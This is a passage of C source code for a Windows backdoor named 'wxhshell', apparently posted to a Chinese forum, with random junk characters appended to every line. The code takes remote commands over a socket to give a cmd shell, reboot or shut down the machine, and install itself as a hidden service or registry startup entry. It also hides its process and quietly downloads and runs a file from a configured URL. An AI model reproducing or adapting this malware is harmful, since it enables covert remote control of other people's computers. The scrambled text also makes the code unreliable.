    switch(cmd[0]) { o)b-fAd@$  
  t5 ^hZZ  
  // 帮助 * _usVg  
  case '?': { e1V1Ae  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /VEK<.,aMv  
    break; hfc~HKLC  
  } >bmdu \j5R  
  // 安装 ?Ec{%N%  
  case 'i': { 5mL4Zq"  
    if(Install()) iN0'/)ar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b ettOg  
    else l  LBzY`j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LV$Ko_9eA  
    break; 6h&t%T  
    } spQr1hx<  
  // 卸载 nHF~a?|FT  
  case 'r': { kQ2WdpZ/  
    if(Uninstall()) t1yfSStp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9G7Brs:  
    else b o_`P3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?djH!  
    break; |h/{ qpsu  
    } V4n;N  
  // 显示 wxhshell 所在路径 EK Q>hww8  
  case 'p': { @a=jSB#B  
    char svExeFile[MAX_PATH]; dxS5-aWy9w  
    strcpy(svExeFile,"\n\r"); .>}Z3jUrf  
      strcat(svExeFile,ExeFile); /&czaAR-  
        send(wsh,svExeFile,strlen(svExeFile),0);  r/)ZKO,  
    break; -M T1qqi  
    } {+5Ud#\y  
  // 重启 u2fp~.'P  
  case 'b': { @li/Y6Wh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f4f)9n  
    if(Boot(REBOOT)) !`W0;0'Zg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A |U0e`Iw  
    else { J5<1 6}*  
    closesocket(wsh); &U([Wd?E2  
    ExitThread(0); oe<@mz/  
    } jlqSw4_  
    break; *c$UIg  
    } 3'0Jn6(  
  // 关机 79o=HiOF99  
  case 'd': { 2BT+[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CeUXGa|C  
    if(Boot(SHUTDOWN)) udc9KuR@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +o0yx U 7t  
    else { TnKOr~@*  
    closesocket(wsh); O69TU[Vn  
    ExitThread(0); ,Qo:]Mj  
    } q]Xu #:X  
    break; @~5Fcfmm  
    } d6??OO=~>M  
  // 获取shell @`^Z5n.4  
  case 's': { 2#/sIu-L  
    CmdShell(wsh); ,C_MB1u  
    closesocket(wsh); ]ab q$Y'  
    ExitThread(0); 497l2}0  
    break; %503 <j  
  } XgeUS;qtta  
  // 退出 SD@ 0X[  
  case 'x': { gv(MX ;B#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9JILK9mVO  
    CloseIt(wsh); 1 >2 /1>  
    break; >f1fvv6  
    } DPmY_[OAE  
  // 离开 j>.1RG  
  case 'q': { $DnR[V}rR!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yB{1&S5 C  
    closesocket(wsh); :DuEv:;v  
    WSACleanup(); 9.#")%_p  
    exit(1); ;l < amB  
    break; IEkbVIA(  
        } [;:ocy  
  } ]'hel#L;l  
  } MFWkJbZV  
W,!7_nl"u  
  // 提示信息 zh(=kS `  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !#e+!h@  
} 4((p?jb C  
  } A\E ))b9+  
OKu~Nb*  
  return; ?UeV5<TewS  
} mGF)Ot R  
wCj)@3F  
// shell模块句柄 ?Ho>  
int CmdShell(SOCKET sock) +-5YmN'  
{ iorQ/(  
STARTUPINFO si; K,*z8@  
ZeroMemory(&si,sizeof(si)); =fB"T+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A#i[Us|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]<Q&  
PROCESS_INFORMATION ProcessInfo; L[`8 :}M  
char cmdline[]="cmd"; QWC C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?k^m|Z  
  return 0; h2?\A%  
} .O&YdUo  
- _ %~b  
// 自身启动模式 p&HO~J <w  
int StartFromService(void) 0&tr3!h\  
{ 8;f5;7M n  
typedef struct FNo.#Z5+b  
{ ETdN<}m  
  DWORD ExitStatus; 5as5{"l  
  DWORD PebBaseAddress; O+=}x]q*y  
  DWORD AffinityMask; h1f 05  
  DWORD BasePriority; .>1Y-NM  
  ULONG UniqueProcessId; T~g`;Q%i  
  ULONG InheritedFromUniqueProcessId; IaO&f<^#o  
}   PROCESS_BASIC_INFORMATION; PZ?kv4  
oP:R1<  
PROCNTQSIP NtQueryInformationProcess; 'tX}6wurf  
m)r,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;(K"w*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q:vGGK^  
|nqN95'u+]  
  HANDLE             hProcess; =gZA9@]W2  
  PROCESS_BASIC_INFORMATION pbi; !>GDp>0  
LE?sAN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ev3,p`zS._  
  if(NULL == hInst ) return 0; by,3A  
&78lep  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .VohW=D3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \H1t<B,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p )WRsJ8  
J90 )v7  
  if (!NtQueryInformationProcess) return 0; ##Qy6Dc  
nAX/u[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l701$>>  
  if(!hProcess) return 0; VM;vLUu!e  
{Wfwf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~4mRm!DP  
g*w}m>O  
  CloseHandle(hProcess); ]8 <`&~a  
xokA_3,1F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *V[I&dKq  
if(hProcess==NULL) return 0; pkTVQdtRG  
I<Mb /!TQ  
HMODULE hMod; !:}m-iqQ1  
char procName[255]; )lJi7 ^,  
unsigned long cbNeeded; ;*=7>"o'`  
~c*kS E2X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J.O{+{&cd  
vV"I}L  
  CloseHandle(hProcess); $-s8tc(  
u 7 <VD  
if(strstr(procName,"services")) return 1; // 以服务启动 j'lC]}kH  
r >sXvzv  
  return 0; // 注册表启动 31QDN0o!~  
} EZT 8^m  
V0%a/Hi v  
// 主模块 '+c@U~d*7  
int StartWxhshell(LPSTR lpCmdLine) .LbAR u  
{ $6 4{Ff  
  SOCKET wsl; S@TfZ3Go|  
BOOL val=TRUE; Z&7Yl(|  
  int port=0; . +,{|){c  
  struct sockaddr_in door; ^/xb-tuV  
,F+,A].wG  
  if(wscfg.ws_autoins) Install(); JgV4-B0  
u<+"#.[2v~  
port=atoi(lpCmdLine); Tr;&bX5]H  
k?1e + \  
if(port<=0) port=wscfg.ws_port; R38 \&F  
+k0UVZZX?  
  WSADATA data; _lC0XDZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ht@5@(W]I  
Zlygx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `BaJ >%|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZS`9r16@b  
  door.sin_family = AF_INET; sLSH`Xy?5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vl'rO_?t  
  door.sin_port = htons(port); c4s,T"H  
V?-2FK]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M-e|$'4u  
closesocket(wsl); BL-7r=Z  
return 1; Zv9%}%7p  
} o  WAy[  
%/SHB  
  if(listen(wsl,2) == INVALID_SOCKET) { g!z &lQnZ  
closesocket(wsl); +WguWLO"  
return 1; Z2-"NB  
} Nk1p)V SC  
  Wxhshell(wsl); A+z}z@K  
  WSACleanup(); 1KjzKFnb  
zQ(`pld  
return 0; eQMa9_  
\KKE&3=  
} 4E$d"D5]>p  
mApl;D X  
// 以NT服务方式启动 :W+%jn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AE Abny q  
{ 162Dj$  
DWORD   status = 0; hE'>8{  
  DWORD   specificError = 0xfffffff; db>"2EE  
}|nEbM]#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~b%dBn]n>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :w7?]y6~S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <X?xr f  
  serviceStatus.dwWin32ExitCode     = 0; /XdLdA!v  
  serviceStatus.dwServiceSpecificExitCode = 0; n- 1  
  serviceStatus.dwCheckPoint       = 0; y!|4]/G]?t  
  serviceStatus.dwWaitHint       = 0; ?/(*cA  
Yqv!ZJ6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rhw+~gd*F  
  if (hServiceStatusHandle==0) return; /2 qxJvZ  
qV-1aaA  
status = GetLastError(); Dw,LB>Eq,  
  if (status!=NO_ERROR) cmY `$=  
{ FMitIM*]   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t&IWKu#  
    serviceStatus.dwCheckPoint       = 0; 7UUu1"|a|  
    serviceStatus.dwWaitHint       = 0; Dj3,SJ*x  
    serviceStatus.dwWin32ExitCode     = status; 7_eV.'h  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qz$Wp*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ix0#eoj  
    return; j_b/66JyN  
  } ly@%1  
Wxi;Tq9C@_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QHtN_Q_F  
  serviceStatus.dwCheckPoint       = 0; FR\r/+n:t0  
  serviceStatus.dwWaitHint       = 0; yP34h*0B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xX8 c>p  
} 8L`wib2  
oq (W|  
// 处理NT服务事件,比如:启动、停止 X3y28 %R   
VOID WINAPI NTServiceHandler(DWORD fdwControl) CM t$ )  
{ I,r0K]  
switch(fdwControl) 8mO_dQ  
{ "i!W(}x+  
case SERVICE_CONTROL_STOP: s,M]f,T  
  serviceStatus.dwWin32ExitCode = 0; {l\Ep=O vx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "J `#  
  serviceStatus.dwCheckPoint   = 0; *~.'lE%[U  
  serviceStatus.dwWaitHint     = 0; Ki /j\  
  { eGWwPSIp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {9~3y2:  
  } f^Q)lIv  
  return; &C#?&AQ  
case SERVICE_CONTROL_PAUSE: )H&ZHaO,_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -)DxF<8B  
  break; xg;F};}5$  
case SERVICE_CONTROL_CONTINUE: H<q z rO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )W1[{?  
  break; <co:z<^lqu  
case SERVICE_CONTROL_INTERROGATE: '1Ex{$Yk  
  break; <4I`|D3@  
}; p;mV?B?oAQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1([?EfC  
} xk^`4;  
t*-_MG  
// 标准应用程序主函数 O`;o"\P<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'Xasd3*Py  
{ 02^Nf7DMR  
)0=H)k0  
// 获取操作系统版本 G(1_P1  
OsIsNt=GetOsVer(); |#B)`r8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6-\M }xq?  
"}0)~,{x B  
  // 从命令行安装 0.B'Bvn=s2  
  if(strpbrk(lpCmdLine,"iI")) Install(); JRDIGS_~  
z%$M IC  
  // 下载执行文件 LE g#W  
if(wscfg.ws_downexe) { 6L-3cxqf\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i,l$1g-i  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kw`}hSE>o  
} cq$ _$jRx  
O#)YbaE  
if(!OsIsNt) { Yb'%J@T}  
// 如果时win9x,隐藏进程并且设置为注册表启动 RuOse9  
HideProc(); -hGLGF??  
StartWxhshell(lpCmdLine); ^,Ft7JAn  
} xBE}/F$ 45  
else L(HAAqRnJ  
  if(StartFromService()) '.7ER  
  // 以服务方式启动 9]g`VD6 <v  
  StartServiceCtrlDispatcher(DispatchTable); :79u2wSh  
else tjcsT>  
  // 普通方式启动 c(s: f@ 1  
  StartWxhshell(lpCmdLine); N \woFrG  
4@Bl 1b[<  
return 0; W O'nW  
}
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只看该作者 1 发表于: 2006-10-10
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